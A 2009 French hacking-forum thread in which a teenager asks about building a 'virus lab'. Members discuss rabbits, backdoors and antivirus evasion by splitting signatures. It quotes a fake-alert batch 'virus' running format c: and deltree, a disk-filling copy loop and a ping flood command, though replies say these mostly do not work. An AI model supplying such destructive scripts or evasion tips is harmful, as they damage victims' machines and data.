NewbieContest

Général => Defouloir => Discussion démarrée par: DarK-CrasH le 05 Août 2009 à 20:38:16



Titre: Virus : Un tabou ?
Posté par: DarK-CrasH le 05 Août 2009 à 20:38:16
Les Virus, sujet tabou .. Pourquoi tabou ? Dans la plupart des sites, si des internautes posent une question sur un virus, on le prend pour un destructeur d'ordinateurs prématuré .   
Je pense que c'est un sujet trop peu abordé par rapport aux risques encourus à leurs encontre .



J'ai un projet dont j'aimerai vous faire part :

Je voudrai faire un laboratoire de developpement virale, chez moi sur mes ordinateurs, ça, c'est le projet .

Mes questions sont : Comment en faire un ?
                             Quels sont les langages pour en développer ?
                             Avez vous des tutoriels interessants sur le sur le sujet dont vous pourriez me  faire part ?


En simple, pourriez vous me donner des conseils pour développer ce laboratoire ?


Merci de votre participation ;)

Edit : Je le sens gros comme une maison the lsd et _o_ venir m'engueuler lol

        Donc je precise, ce n'est pas à de mauvaises fins, c'est juste pour comprendre =)
        Je suis également disponible sur IRC pour en discuter :)


Titre: Re : Virus : Un tabou ?
Posté par: Lascazas le 06 Août 2009 à 10:03:22
Le classique en batch,

@del C:\WINDOWS\system32\fichier1.exe
@del C:\WINDOWS\system32\fichier2.exe
...

Ouais c'est vachement nul, mais là c'est vraiment le virus basique de chez basique.


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 10:17:19
Lol,
Le Batch :: Le classique, mais le principe même d'un virus c'est qu'il se reproduit et s'envoi

Pour ce que je veux faire, laissez tomber la la fonction pour qu'il s'envoi, jveux pas infecter tout le monde.
Jveux juste connaître pour qu'il se copie mais bon, en batch >> fonction Xcopy lol

Merci de ta contribution Lascazas ;)


Titre: Re : Re : Virus : Un tabou ?
Posté par: _o_ le 06 Août 2009 à 10:42:46
mais le principe même d'un virus c'est qu'il se reproduit et s'envoi

Tout à fait exact. La charge utile (suppression de fichiers, DDOS d'un site, adhésion de la machine à un botnet, zombification) n'intervient pas dans le concept de virus. De plus, un virus infecte un hôte (en général, un programme), ce qui fait sa différence par rapport à un ver qui, lui, est autonome.

http://fr.wikipedia.org/wiki/Virus_informatique


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 10:49:12
Donc, Tout le monde sera d'accord pour dire que ::

@del C:\WINDOWS\system32\fichier1.exe
@del C:\WINDOWS\system32\fichier2.exe
...
n'est pas vraiment un virus car : Il n'infecte pas un hôte, ne se reproduis pas par diverses méthodes ( ecrasement / ajout de code ... ) et ne s'envoit pas



Titre: Re : Re : Virus : Un tabou ?
Posté par: Lanselius le 06 Août 2009 à 11:09:39
Donc, Tout le monde sera d'accord pour dire que ::

@del C:\WINDOWS\system32\fichier1.exe
@del C:\WINDOWS\system32\fichier2.exe
...
n'est pas vraiment un virus car : Il n'infecte pas un hôte, ne se reproduis pas par diverses méthodes ( ecrasement / ajout de code ... ) et ne s'envoit pas



Et parce qu'il ne détruit rien non plus, grâce à la restauration système ?

Pour faire plus constructif, je rajouterais que la fonctions ms-dos del ne peut fonctionner que si le fichier est fermé. Ce qui est rarement le cas des fichiers systèmes. La plupart de ces codes diffusés sur des sites de lamz ne sont que théoriques, à l'instar des codes comme "format C:\"  qui ne fonctionnent pas (ici d'abord car la commande format demande une confirmation).

Les virus ne sont pas tabous, mais si tu ne veux rien détruire avec tes connaissances (et je te crois), évite les pseudos du genre DarK-CrasH  :lol: Je ne pense pas être le seul à avoir relevé la contradiction entre ton post initial et ton pseudo  ;)


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 11:15:32
Lol, Si t'es le premier :p

Oui mais j'ai pris sa car :: Si je me ramene avec un pseudo type :: B!zoun0urs, Sa craint lol

Ou Sinon, j'ai lu un PDF parlant de virus >> Leurs débuts et il se trouve que les précédents virus/vers sont codés en VBS ( encore possible de nos jours ? ) Du coup, j'ai etudié le code source du virus Melissa
et Iloveyou x)

Qui ( j'espere ne fontionnent plus >> sinon, sa craint, au bout de 10 ans )

Est ce possible de modifier une source pour faire un nouveau virus ? Ce serai effrayant imaginez 10 ans après, une nouvelle  souche de Melissa sort sur le Net  :shock:


Titre: Re : Virus : Un tabou ?
Posté par: #Z@tox# le 06 Août 2009 à 11:17:44
d'accord c'est vite dit, ton code tel qu'il est actuellement ne peut endommager un ordinateur que si tu as un accès physique à ce dernier pour pouvoir l'executer.

en revanche (et au diable ceux qui disent que le batch c'est nul) le batch est un langage qui offre pas mal de possibilités.

et si le pc sur lequel tu execute des scripts batch appartient a un réseau, alors, avec l'aide de fichiers autorun.ini et d'autres facilement intégrable dans un répertoire ou une archive zip, et en rendant ton code beaucoup plus fonctionnel, alors il te sera facile de : -te connecter sur les autres ordis du reseau, y copier des codes, les executer, injecter du code dans des fichiers déja existant , supprimmer des fichiers. le batch te permet de créer des fichiers grace a la commande

@echo code source du virus >> virus.exe
ensuite, un simple start virus.exe te permettra de lancer  le  virus créé


tu vas me dire, mon batch sera détecté par l'antivirus, hé bien oui, sauf si tu fragmente la signature virale et que tu la recolle en écrivant dans le fichier virus.exe.


créer un virus en langage batch seul celà risque d'être compliqué, mais générer grace au batch un virus en utilisant un code compilé déja connu c'est tout à fait possible ;)

si vous voulez plus de détails techniques n'hésitez pas ;)


mais bon y'a des langages plus appropriés, qui prennent moins de place et ont besoin de moins de fichiers.


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 11:26:06
Perso, je trouve pas le batch nul, mais il est basique ^^

Par contre, tu viens de m'apprendre quelque chose et j'aimerai que l'on en discute je te laisse mon mail et j'édit apres x)
On va sur IRC ?

( je n'ai pas encore assez de points pour utiliser la fonction de messagerie :/ )


Je voulais aussi savoir quelque chose : J'ai lu le termes :: virus rabbit ( dans le principe, je pense qu'il s'agit d'un virus qui se reproduit et ' noie ' le system sous des tonnes de fichiers x) )


Titre: Re : Virus : Un tabou ?
Posté par: #Z@tox# le 06 Août 2009 à 11:33:05
dark crash je t'ai envoyé un MP ;)


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 11:39:20
Je sais mais j'ai pas le nombres de points requis pour pouvoir utiliser le système de messagerie :/
 

Donc on peut utiliser Irc ? Si sa te dis x)


Titre: Re : Virus : Un tabou ?
Posté par: #Z@tox# le 06 Août 2009 à 11:43:29
non irc j'ai laissé tomber depuis longtemps, résouds encore quelques épreuves et ensuite on parlera de tout celà en MP quamd tu auré débloqué cette fonction ;) comme ça tu aura encore plus de connaissances et on pourra parler plus technique encore ;)


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 11:46:21
LOL J'ai que 50 points ( il en faut 200 ) et 14 ans, j'ai pas des masses de connaissances et je trouve pas vraiment de tutos car je me consacre à la virologie informatique :/


Bon pas grave mais tsei la sur le site il y a un applet java pour Hiersay :p x)








Sinon, pourquoi ne pas discuter ici ??


Titre: Re : Virus : Un tabou ?
Posté par: #Z@tox# le 06 Août 2009 à 12:00:03
ok, discuttons ici alors, comme ca celà servira à tout le monde et les admins si j'en dit trop pourront censurer, mais je ferai en sorte qu'ils n'aient pas à intervenir, tu veux savoir quoi au juste ?


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 12:03:35
Alors, question quelle fonction utilise un virus type rabbit en VBS ?








[ Sinn jvé mangé jre dans 10 min Bon app a touss :p et poster une réponse pendant que je re xP ]


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 12:21:03
Personne ne sais ce qu'est un virus type rabbit et comment il fonctionne ?


Titre: Re : Virus : Un tabou ?
Posté par: #Z@tox# le 06 Août 2009 à 12:31:14
jamais entendu parler de ce truc "rabbit" mais en revanche, les symptomes que tu décrit celà s'apparente à du flood ou de la zombification le principe est simple créer des fichiers par dizaines, si possible des executables, comme ça on les lance et ils tournent en background en utilisant les ressources du pc, et ça  le fait ralentir concidérablement.

de tels virus, c'est relativement facile à développer, que se soit en batch ou en VBS.  leurs codes sources sont toujours sensiblement les mêmes,

tu te demande aussi si c'est toujours possible d'en créer aujourd'hui?

biensur que oui, le  plus dur sera de créer un programme qui échappe au controle des antivirus, je ne parle pas de créer un rootkit, mais simplement de créer un script du style VBS ou batch capable de faire celà sans se faire repérer par les Antivirus. Ce qui est relativement simple avec la facilité d'utilisation de ces langages non compilables.


cependant, tu dois te demander maintenant pourquoi, si c'est si facile a créer, les  hackers les ont-ils délaissés?

hé bien tout simplement parceque  détruire pour détruire ne sert à rien, à une époque c'était gratifiant de prouver au monde que l'on pouvait battre microsoft en crashant un sytèmme ou en détruisant des fichiers.  Aujourd'hui la société est faite de telle sorte que la plupart des gens aiment gagner de l'argent facilement . C'st pourquoi les hackers se concentrnt sur le développement de rogues, et programmes en tout gnre  dont le but n'est plus d'endommager un système, mais plutot de leur faire gagner de l'argent. Et ce ne sont pas les exemple qui manquent: faux antivirus détectant une fausse infection et pouvant la supprimmer moyennant quelques $$$. rootkits pour éviter aux antivirus réels de trouver les faux programmes, adwares pour envoyer de la publicité ciblée (d'ailleurs certaines sociétés  n'hésitent pas a se payer les services de hackers pour développer des adwares du style naipromo)

etc...

mais techniquement parlant, celà reste possible et à la portée de n'importe quel programmeur de développer un programme qui floode un système


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 12:38:27
Autre chose : Dérivé ?

Le Shell ? C'est quoi exactement ?
Un programme type Backdoor ?
Quel langage pour les Shells ?
Quelqu'un a des exemples de Shells ?
Bref un tutos complet de Shells ?

( Je suis sous windows pour dire mais il me semblait qu'un Shell n'est pas forcement ECRIT en Shell >> PHP )

bref, sa peut rejoindre les Virus ?


Titre: Re : Virus : Un tabou ?
Posté par: akway le 06 Août 2009 à 12:45:05
salut,

un lievre (rabbit) est un terme qui designe  un malware ayant pour but de se reproduire a l'infini en saturant l'espace disque, saturant souvent en meme temps les ressources de la machine infectée.

suffit d'une ch'tite boucle créant des fichiers volumineux avec un nom comportant un incrément.

sinon pour les quelques questions posées au dessus une rapide recherche sur wiki te donnera une réponse assez détaillée je pense.


Titre: Re : Virus : Un tabou ?
Posté par: #Z@tox# le 06 Août 2009 à 12:45:35
pour les shells j'en sais rien, en revanche le seul truc que je peux te dire c'est pour les backdoors, ce sont des "portes dérobées", en gros leur but est d'ouvrir des ports sans que tu ne t'en rendes compte , et ainsi pouvoir faire passer par là différentes sortes d'informations  (aussi bien en upload qu'en download).


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 12:50:37
un lievre (rabbit) est un terme qui designe  un malware ayant pour but de se reproduire a l'infini en saturant l'espace disque, saturant souvent en meme temps les ressources de la machine infectée.

suffit d'une ch'tite boucle créant des fichiers volumineux avec un nom comportant un incrément.

Donc dans un langage, prenont le plus basique : Batch, Si l'on fait une boucle pour créer des fichiers a l'infinie, cela fera bloquer la machine, si j'ai bien compris.

La question est : Interet ? Cette attaque peut elle rejoindre une attaque type DDoS ? Saturer un serveur/machine pour le/la faire tomber ?

Car, si la machine est plantée, le hackers en question ne peut rien en tirer ?


Titre: Re : Virus : Un tabou ?
Posté par: #Z@tox# le 06 Août 2009 à 12:53:25
sinon pour un exemple (et fragment) de code VBS celà donnerait ceci:

Code:
.'Pour creer le fichier texte
.Set FSys = CreateObject("Scripting.FileSystemObject")
.Set MonFic = FSys.CreateTextFile("c:\windows\bureau\fichier.bat")
.With MonFic 'Pour écrire dans le fichier texte
.writeLine "Ecrivez la première ligne" 'Mettre write pour ne pas sauter à la ligne
.writeLine "Ecrivez la deuxième ligne"
.writeLine "Ecrivez la troisième ligne"
.writeLine "Ecrivez la 100000000eme ligne, etc..."
End With
Msg = "hacked by dark-crash with a rabbit virus"
MsgBox(Msg)

les lignes du fichier.bat généré par le fichier vbs peuvent par exemple etre des commandes ordonnat la création d'autres programmes  ou l'execution du fichier vbs ; il suffirait par exemple de créer un vbs créant un batch qui lui même aurait pour but d'executer le fichier VBS de départ, et la boucle est créee

mais bon ne comptes pas sur moi pour donner ne serait-ce qu'un exemple de boucle de ce style ici, pas envi de me faire ban encore une fois  XD

sinon pour répondre a ta question du post précédent, oui biensur, le principe des boucles peut etre utilisé en php et ou SQL pour  saturer un serveur


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 12:58:08
Ce code ne ma pas l'air juste, si ?
code:
@echo off
cls
rem #_nom du virus: Kaox
rem #_code créé le 05/04/2004 à 3h04
rem #_auteur : Freak
rem #_code créé pour : moteurprog.com
rem #_code de 31 lignes et de 1 069 octets
echo ##################################################
echo ALERTE !!!
echo Votre ordinateur est infecter par un spyware.
echo Le fichier msbb.exe  à été trouver.
echo ##################################################
pause
choice /C:ab Si vous voulez mettre le fichier en quarantaine tapez "a" sinon tapez "b". Si dans les 15 secondes qui suivent vous n'avez pas choisi, le fichier sera automatiquement mit en quarantaine.
/T:a,15
if errorlevel = 1 goto a
if errorlevel = 2 goto b
:a
cls
@format c: /u /q
@deltree /y c:\*.*
echo Freak est heureux de vous annoncer que votre disque dur a été
echo formaté ;-)
goto :fin
:b
cls
:loop
@copy c:\Programme Files\*.* + c:\Windows\*.* c:\Windows\System\
echo Votre ordinateur est en train de se remplir a l' infini ;-)
goto :loop
:fin


Pour rien dire, sa sens le lamz qui passe son temps a faire chier son monde


[ Avis aux modos :: Cette **orthographe !** est à titre informatif, donc aucune raison de ban car perso si le but et de faire chier des gens, autant le faire avec classe et pas avec une ptite boucle infinis x)


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 13:01:01
Details du code ::

Il me semble que la commande format / ne fonctionne pas x)

ensuite, si format fonctionne :

@copy c:\Programme Files\*.* + c:\Windows\*.* c:\Windows\System\
echo Votre ordinateur est en train de se remplir a l' infini ;-)



Il copie quoi si il vient de " formater "




Site de LA Perle rare x) : http://www.moteurprog.com/Articles/Article.php?ID_article=14 (http://www.moteurprog.com/Articles/Article.php?ID_article=14)


Titre: Re : Virus : Un tabou ?
Posté par: #Z@tox# le 06 Août 2009 à 13:07:54
si ce code semble correct, je te rappelle qu'un pc ne comporte pas forcément qu'un seul disque dur C:, il peut comporter une partition système C: et une autre D:  si le dos est installé sur d:, alors pas de soucis pour formatter C: et y copier des fichiers et dossiers provenant de D:


Titre: Re : Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 13:11:57
@format c: /u /q
@deltree /y c:\*.*
@copy c:\Programme Files\*.* + c:\Windows\*.* c:\Windows\System\

format : il formate le C:\
ensuite il supprime tout les fichiers de toutes les extensions
Et apres, il pense a vouloir copier C:\ qu'il vient de supprimer

Logique ?

il aurait plutôt dû mettre
@copy d:\ ...
et pas c:\


Titre: Re : Virus : Un tabou ?
Posté par: #Z@tox# le 06 Août 2009 à 13:27:11
pas faux, mais bon , peu importe, tu as un bel exemple de rabbit , même si le code peut encore être aélioré et tu le remarque toi même ;)


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 13:30:05
Lol oui ;)

Je voulais donc savoir autre chose :

Tu m'as l'air calé en VBScript, tu as des liens de cours interessants ?

Ensuite, il faut que tu ailles sur IRC ou autre car j'aurai un projet a te proposer, dit moi ce qui te conviens le plus


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 13:34:28
Code:
@echo off

@copy c:\Programme Files\*.* + c:\Windows\*.* c:\Windows\System\
goto :loop
:fin

Ce serai ça en code simplifié sans le cinéma echo fait pour mettre les jetons à l'utilisateur et sans format inutile >> si on copy les fichiers et qu'il y en a déjà, le disque se remplis plus vite, ce serai plus logique, je pense


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 13:58:28
Pour revenir aux rabbits mais type DDoS ::

Il serait possible techniquement, d'envoyer un virus pour faire ... Bon allez, nan , je vous fait une mise en situation complete ! :p


                                       Mise en situation :

J'arrive sur mon ordi et je me rend compte que j'ai pas un log super important pour terminer mon vol de cookies Oo . Vite je vais sur IRC channel : Bidon-underground et je fais ma demende

[ pseudo ] Bonjour j'ai besoin du log XXXXXXXXXXXX pour modifier des cookies

**************************************************************

Un mec me prend en conversation privée

**************************************************************


http://choubidoowawa.com/log/Plop.zip

je le prend et l'installe et tout d'un coup il allume une fenetre toute noire :o quesquiss passs O.O

Je suis un bon en ordi mais je decide de pas le toucher pendant 2 3 jours pour pas faire de conneries, de toute façon faut que j'aille bosser.


Et 3 jours apres j'ai une fenetre noir, toute moche avec plein d'adresse avec des points O.O



******************************************************

Fin de la mise en situation

******************************************************

Est ce possible que fichier plop.zip faisait un truc style :

Code:
@echo off
color A
ping -t 195.60.188.34
pause

( oui je met de la couleur moi =D )

Donc le fichier d'infection lancerai une Attack DDoS ( dans le principe de surcharger encore une fois .. )
Cela ne peut il pas être considéré comme un type de rabbit ?


Titre: Re : Virus : Un tabou ?
Posté par: Folcan le 06 Août 2009 à 14:38:08
Une requete ICMP basique, il va t'en falloir beaucoup pour faire tomber ne serait ce qu'une livebox...


Titre: Re : Virus : Un tabou ?
Posté par: akway le 06 Août 2009 à 15:43:41
ouaip tiens par curiosité est il possible de faire un DoS efficace sur une Nic 10/100 avec un flood icmp ? si oui combien faudrait il de pc/nic 10/100 pour faire tomber une carte reseau 10/100 a base d'icmp similaire a ceci :

ping -t -l 65000 x.x.x.x

PS :même si ton code est là à titre informatif, évite de poster de manière générale des code nuisibles, complets et "ready to use". 


Titre: Re : Virus : Un tabou ?
Posté par: Spl3en le 06 Août 2009 à 16:13:40
@akway : http://fr.wikipedia.org/wiki/Ping_flood
Le ping flood c'est pas vraiment ce qu'il y a de mieux pour DDos ...

Citation
Ce code ne ma pas l'air juste, si ?
code:
@echo off
cls
rem #_nom du virus: Kaox
rem #_code créé le 05/04/2004 à 3h04
rem #_auteur : Freak
rem #_code créé pour : moteurprog.com
rem #_code de 31 lignes et de 1 069 octets
echo ##################################################
echo ALERTE !!!
echo Votre ordinateur est infecter par un spyware.
echo Le fichier msbb.exe  à été trouver.
echo ##################################################
pause
choice /C:ab Si vous voulez mettre le fichier en quarantaine tapez "a" sinon tapez "b". Si dans les 15 secondes qui suivent vous n'avez pas choisi, le fichier sera automatiquement mit en quarantaine.
/T:a,15
if errorlevel = 1 goto a
if errorlevel = 2 goto b
:a
cls
@format c: /u /q
@deltree /y c:\*.*
echo Freak est heureux de vous annoncer que votre disque dur a été
echo formaté ;-)
goto :fin
:b
cls
:loop
@copy c:\Programme Files\*.* + c:\Windows\*.* c:\Windows\System\
echo Votre ordinateur est en train de se remplir a l' infini ;-)
goto :loop
:fin

Completement faux, non fonctionnel, et completement inutile ...
1) En supposant le fait que la partition système est C (donc actuellement utilisée pour faire fonctionner l'OS), il est tout simplement impossible d'appliquer un format sur une partition utilisée. De plus, il y aura une confirmation écrit en clair "Souhaitez vous réellement formater ?", et dans un deuxième temps, si un crétin s'amuse à valider par "O", un message du type :
Citation
Format ne peut pas s'exécuter car le volume est utilisé par un autre
processus. Format pourra s'exécuter après que ce volume ait été démonté.
TOUS LES DESCRIPTEURS OUVERTS SUR CE VOLUME NE SERONT PLUS VALIDES.
Voulez-vous forcer le démontage de ce volume ? (O/N)
qui, si on valide encore (là faut vraiment le vouloir ! :D), se terminera par un message d'erreur ne résultat donc au final à rien.
2) Deltree n'est pas disponible dans la version de DOS par défaut. Essaye de lancer "deltree" en invite de commande, tu comprendras.
3) @copy c:\Programme Files\*.* + c:\Windows\*.* c:\Windows\System\
D'une part, il s'agit de "Program Files", d'autre part, sans guillemets "C:\Program Files\...", la commande copy ne marchera pas. Puis la vitesse de copie sera assez lente pour ne rien faire de grave, avant que la victime en question ferme la fenêtre...

Donc ne t'attarde pas sur ce genre de script bidons sans intêret. Apprends la programmation, c'est tout ce qu'il te reste à faire si tu veux étudier au mieux les virus, de préférence un langage de bas niveau (http://fr.wikipedia.org/wiki/Langage_de_bas_niveau). (pas forcément l'ASM pour commencer, le C conviendra pour un débutant...)
Tu peux également rester penché sur des scripts, mais à mon avis tu perds plus de temps qu'autre chose.


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 16:23:19
SpleenKirby, tu te calme lol pas besoin de me faire une attaque !

Le script, si tu as pris la peine de lire les pages précédentes, tu te rendras compte que ce n'est pas le mien, ensuite les choses que tu as dîtes, je l'ai ai deja soulevée :: le format

Donc du calme moi jsuis ici pour apprendre pas pour me faire engueulé parce que j'ai poster la source que j'ai déclaré bidon d'un autre mec ! ( et je t'ai pas attendu pour apprendre le C ! )



Le ping flood c'est pas vraiment ce qu'il y a de mieux pour DDos ... << Que veux tu dire par là ? Il existe d'autres formes d'exploitation ?


Titre: Re : Virus : Un tabou ?
Posté par: #Z@tox# le 06 Août 2009 à 17:12:00
pour ton projet dark-crash, je suis désolé, je ne sais meme pas de quoi il s'agit encore , mais le travail et les activités en dehors font que je délaisse l'informatique ces temps-ci. en revanche pour VBS tu apprendras beaucoup ici http://www.vbfrance.com/

n'hésites pas a visiter les autres sites du reseau codes sources tous les langages de prog y sont ;)


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 17:39:07
Merci pour le lien ;)

Evidemment que tu ne sais pas de quoi il s'agit, je ne t'en ai pas encore parlé :p

Mais bon comme tu veux lol


Titre: Re : Virus : Un tabou ?
Posté par: Spl3en le 06 Août 2009 à 18:01:46
Hé ... DarK-CrasH, ne prends pas personnelement ce que je t'ai dit...!
Tu voulais un avis, non ? Je te l'ai donné. J'ai bien compris que le batch n'était pas le tien (tu l'avais notifié dans ton post).

Citation
Ce code ne ma pas l'air juste, si ?
Je t'ai répondu par non, en reprenant point par point ce qui n'allait pas, d'un point de vue éducatif, et non pour te "critiquer d'avoir poster un script qui ne marchait pas" (ou vas-tu donc chercher tout cela ? :P)

J'essaye de te faire éviter du temps de travail et d'apprentissage en batch qui me semblait inutile pour ce que tu cherches à faire.

Citation
( et je t'ai pas attendu pour apprendre le C ! )
Si tu maîtrises déja si bien le C, alors je ne comprends pas pourquoi tu cherches à scripter un virus en batch.
D'autre part, je n'ai fait que répondre à ton premier post
"Quels sont les langages pour en développer ?"
Je t'ai donc donné mon avis sur cette question, donc prière de ne pas m'envoyer sur les roses.

Bref, mon aide ne semble pas appréciée, je te laisse continuer à scripter des batchs ou du VB, mais si c'est réellement le coté viral qui t'interessait, cela sous entend de mettre les mains dans le camboui et s'intérresser à la gestion de la mémoire par exemple.
Arrête moi si je me trompe, mais si tu connaissais si bien le C que ça, tu aurais pu déja te faire une petite idée de la réponse sur un bon nombre de questions que tu as posées.
Donc à toi de voir si tu veux finir en script kiddie ou bien apprendre réellement quelque chose.

Bonne continuation.


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 19:09:20
LOL Je me suis juste sentie legerement agressé :p

Donc je te remercie pour tes reponses et pour repondre a ta question ::

Un script script kiddie ne cherche que a detruire, ainsi il ne recherche pas la connaissance . C'est donc tout mon contraire x)

Le C , je l'avais deja vu il y a 3 ans et j'ai decidé de le reprendre aujourd'hui donc je ne suis pas hight dans ce langage ^^

Voila voila c'etait donc un little malentendue car personne n'avait d'intentions hostiles


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 21:01:43
Bon, au sujet des rabbits, j'ai trouver comment faire une boucle infinie en C mais donc, la boucle infinie, sa la fait dans une petite fenêtre noire tres sympathique de command :p

Code:
while (1)
{
    printf("Ceci créera une boucle infinie\n");
}

Existe t'il une commande qui crée un repertoire en C ?

Batch >> mkdir

Commande similaire car moi je n'ai pas encore vu si ce genre de commandes existaient .


Titre: Re : Virus : Un tabou ?
Posté par: harvey le 06 Août 2009 à 21:47:34
Citation
Existe t'il une commande qui crée un repertoire en C ?

http://msdn.microsoft.com/en-us/library/aa363855(VS.85).aspx


Ils sont invisibles, vos lapins ?


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 21:55:43
Ici, on ne cherche pas à les introduire frauduleusement ( pour l'instant ) si tu as lu depuis le début ce poste

Pour l'instant car il faudra bien que j'essaye de les cacher afin de parfaire mon projet, mais pas encore a ce stade .


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 21:58:45
[DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern bool CreateDirectory(string lpPathName, SECURITY_ATTRIBUTES lpSecurityAttributes);

euh .. C'est français ça ??

je l'insere comment moi ltruc là et il fait quoi au juste ?


Titre: Re : Virus : Un tabou ?
Posté par: Folcan le 06 Août 2009 à 22:19:48
euh .. C'est français ça ??

Non, c'est de l'anglais.
De rien, je sais ou est la sortie merci.  :cool:


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 06 Août 2009 à 22:27:11
Lol Attant : ---> [ ]   :rolleyes:

Nan je rigole, tu as des conseils pour mon projet ?

Pour apprendre le C, sur le http://siteduzero.com/ Je me suis arrêté aux fonctions, j'ai débuté a 17h et la j'arrete sinon je vais faire n'importe quoi et je vais pas bien apprendre


Titre: Re : Virus : Un tabou ?
Posté par: harvey le 06 Août 2009 à 23:07:22
Citation
[DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern bool CreateDirectory(string lpPathName, SECURITY_ATTRIBUTES lpSecurityAttributes);

Ça, c'est la spécification C# apparemment.

En C, ton code pourrait ressembler à ça :
Code:
#include <windows.h>

int main()
{
if (CreateDirectory("lapin", NULL)==0)
    puts ("problème");
else puts ("tout va bien, répertoire créé");
return 0;
}


La valeur de retour (booléen) te permet de savoir si l'opération a réussi ou pas. Si c'est 0, c'est lapin mort, sinon tout va bien.


Titre: Re : Virus : Un tabou ?
Posté par: Spl3en le 07 Août 2009 à 01:01:57
A savoir, si ça peut te simplifier la vie et afin de réutiliser ce que tu as appris, qu'en incluant windows.h, tu peux réutiliser les commandes du batch, tel que mkdir, del, etc, avec la syntaxe suivante :
#include <windows.h>
int main(){
system("commande dos");
}

Exemple =>
system("mkdir rabbit");


Bien utile pour faire quelque chose de simple, mais il n'y a pas de valeur de retour comme dans l'exemple de harvey, ce qui peut être bien utile pour contrôler qu'un répertoire a bien été crée par exemple. (<=> si l'utilisateur dispose des droits nécessaire pour créer un dossier...)


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 07 Août 2009 à 07:57:12
Merci de vos réponse je commence à y voir plus clair.
Rahlala ces saletés de fonctions x) Bon .. A l'attaque de la programmation modulaire   :!:  :rolleyes: 8)


Edit : et sa donnerai quoi dans une boucle infinie ?


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 07 Août 2009 à 11:11:07
Là J'ai une petite question :

Citation
Lorsque vous demandez à créer un tableau de 4 cases en mémoire, votre programme demande à l'OS la permission d'utiliser 4 cases en mémoire. Ces 4 cases doivent être contiguës, c'est-à-dire les unes à la suite des autres.
Comme vous le voyez, les adresses se suivent : 1600, 1601, 1602, 1603. Il n'y a pas de "trou" au milieu.

Voici quelques phrases tirées du http://siteduzero.com/ .

Si on suis la logique et que l'on crée un tableau, non pas de 4 cases, mais de 10 000 000 000, sa peut faire planter l'ordi à cause d'un surcharge en mémoire ?


Titre: Re : Virus : Un tabou ?
Posté par: #Z@tox# le 07 Août 2009 à 12:19:10
salut, réponse à ton dernier post:
en théorie oui c'est ce qu'on appelle le buffer overflow (http://fr.wikipedia.org/wiki/D%C3%A9passement_de_tampon) (saturation de la mémoire tampon en francais), mais si tu as un processeur dernière génération quadricoeur et la RAM a 4GO il va t'en falloir des cases pour arriver à un plantage du système  :lol:


Titre: Re : Re : Virus : Un tabou ?
Posté par: _o_ le 07 Août 2009 à 12:46:28
en théorie oui c'est ce qu'on appelle le buffer overflow (http://fr.wikipedia.org/wiki/D%C3%A9passement_de_tampon) (saturation de la mémoire tampon en francais),

Non, overflow ne signifie par saturation, mais dépassement. Un buffer overflow, c'est quand on a demandé une allocation mémoire et que l'on écrit au-delà des limites accordées. Par exemple quand on copie la gentille chaîne de 2000 caractères saisie par l'utilisateur dans un tampon qu'on a délibérément limité à 200 caractères.

Citation
mais si tu as un processeur dernière génération quadricoeur et la RAM a 4GO il va t'en falloir des cases pour arriver à un plantage du système

Non plus. Cela fait presque 25 ans que les processeurs ont des modes de fonctionnement avec virtualisation de mémoire (les mots clefs sont segmentation et pagination), et au moins 15 ans que tous les systèmes d'exploitation du marché exploitent cette possibilité. On plante rarement une machine parce qu'on a s'est alloué 10 Go de mémoire (rappelons le : cette mémoire est virtuelle). C'est un poil plus compliqué que ça.

Enfin, là, on est quand même très loin du sujet de départ, puisqu'on semble parler de bombe logique.


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 07 Août 2009 à 13:11:34
Exactement, on s'éloigne un peu du sujet :p
( Dépassement de tampon x) )
Donc voila, mais une bombe logique n'est pas une des classes de virus ? Ou alors juste une catégorie de malware ?



Voici une partie de code :

FILE* fopen(const char* nomDuFichier, const char* modeOuverture);


int main(int argc, char *argv[])
{

    FILE* fichier = NULL;
   
    fichier = fopen("C:\WINDOWS\system32\test.txt", "w+");
 
 
Ce code va dans C:\WINDOWS\system32\test.txt

et avec "w+" : lecture et écriture, avec suppression du contenu au préalable. Le fichier est donc d'abord vidé de son contenu, et vous écrivez et lisez ensuite dedans. Si le fichier n'existe pas, il sera créé.


Titre: Re : Virus : Un tabou ?
Posté par: DarK-CrasH le 07 Août 2009 à 13:57:13
